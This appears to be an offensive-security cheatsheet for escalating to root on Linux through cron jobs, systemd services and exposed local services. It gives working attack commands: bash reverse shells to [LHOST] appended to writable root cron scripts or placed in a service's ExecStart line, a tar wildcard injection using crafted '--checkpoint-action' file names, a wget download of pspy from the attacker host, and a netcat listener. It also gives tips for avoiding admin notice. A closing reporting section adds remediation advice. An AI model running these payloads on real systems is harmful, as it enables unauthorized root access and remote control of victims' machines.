π‘οΈ Methodology Checklist
- Enumerate cron jobs:
cat /etc/crontab; ls /etc/cron.*; crontab -l - Find writable scripts called by root cron tasks
- Look for relative paths in crontab (PATH hijack opportunity)
- Running processes as root:
ps aux | grep root - Check service binary and config file permissions
- Systemd timers:
systemctl list-timers --all - Mine
/var/log/syslogfor recurring root-run patterns
π― Operational Context
Use when: Writable cron job scripts, service binary paths, or environment PATH variables in cron β hijack execution flow to run commands as root.
Think Dumber First: cat /etc/crontab and ls /etc/cron.d/ first. Find cron scripts running as root. Check if the script or any file it calls is world-writable. Then pspy64 to see all cron jobs including those not in /etc/crontab.
Skip when: All cron scripts and their dependencies are root-owned and not world-writable β move to other vectors.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
cat /etc/crontab; ls /etc/cron.d/; cat /var/spool/cron/crontabs/root | Enumerate all cron tabs |
./pspy64 -pf -i 1000 | Monitor processes real-time β find root crons without read access |
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | Find world-writable files |
ls -la [SCRIPT]; cat [SCRIPT] | Check permissions + content of discovered cron script |
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [WRITABLE_SCRIPT] | Append reverse shell to writable cron script |
nc -lnvp [LPORT] | Catch cron-triggered root shell (wait up to 5 min) |
find / -name "*.service" 2>/dev/null | xargs grep -l "ExecStart" | Find systemd service files |
systemctl list-timers --all | Show all systemd timers (alternative to cron) |
ps aux | grep root | Processes running as root β look for scripts/custom binaries |
ss -lntp; netstat -lntp | Services listening on localhost (may expose internal services) |
π¬ Deep Dive & Workflow
Cron Job Exploitation Flow
1. Read cron tabs:
cat /etc/crontab
ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
cat /var/spool/cron/crontabs/root (often requires root)
2. If can't read crontab β pspy64
./pspy64 -pf -i 1000
Watch for: UID=0 executing scripts in writable locations
3. Check script permissions:
ls -la [SCRIPT_PATH]
β If -rwxrwxrwx or -rwxrwxr-x with your user as group β writable
4. If directory writable but script not:
mv [SCRIPT] [SCRIPT].bak
cp /bin/bash [SCRIPT] # or write reverse shell
chmod +x [SCRIPT]
5. Append payload (preserves original function):
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [SCRIPT]
6. Start listener β wait for trigger interval
Critical: Always use >> not > to avoid breaking original script (alerts admins).
Always use absolute paths in payloads β cron runs with minimal PATH.
Tar Wildcard Injection
# Cron job: cd /var/backups && tar -czf backup.tar.gz *
# Wildcard * expands to filenames in current dir
# Create "flag" files that tar interprets as arguments:
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
# β tar expands * β sees --checkpoint and --checkpoint-action β executes shell.sh as rootWritable Service Files
# Find writable systemd service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
# Edit ExecStart in service file
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
# Reload and restart
systemctl daemon-reload && systemctl restart [SERVICE]Exposed Local Services
# Find services on localhost only
ss -lntp | grep 127.0.0.1
# β might find internal DB, Redis, Memcached, etc. with no auth
# β forward port: ssh -L 3306:127.0.0.1:3306 [USER]@[TARGET] β connect locallypspy Usage
# Download to target
wget http://[LHOST]/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
# Run and watch
./pspy64 -pf -i 1000
# UID=0 = root. Look for periodic scripts, especially in /tmp, /home, /var
# -pf: print file system events too
# -i 1000: scan every 1 secondπ οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| No writable cron scripts | All cron paths root-owned | Check scriptβs working directory: if cwd is writable and script uses relative paths, PATH hijack possible |
| Cron job not in /etc/crontab | User crontabs or hidden jobs | Run pspy: ./pspy64 -p; watches all process spawns including cron |
| PATH hijacking in cron | PATH not set in crontab | If crontab doesnβt set PATH, /usr/local/bin:/usr/bin:/bin is default; writable earlier path = hijack |
| pspy not available | No internet or restricted | Compile locally: GOOS=linux go build pspy.go; or use watch -n 1 'ps aux' for manual monitoring |
| Cron executes but no shell callback | Cron env lacks network | Cron has minimal env; write result to file: * * * * * root /bin/bash -c 'id > /tmp/pwned' |
π Reporting Trigger
Finding Title: Writable Cron Script Enables Privilege Escalation Impact: World-writable cron script executed as root allows injection of arbitrary commands into a scheduled task, achieving root code execution on the next scheduled run without requiring any interaction. Root Cause: Cron job configuration sets script permissions too permissively. No monitoring of cron script content or integrity. Recommendation: Ensure all cron scripts are owned by root and not world-writable. Implement file integrity monitoring for all cron job scripts. Audit cron configurations against least-privilege principle. Consider using systemd timers with explicit user context instead of cron.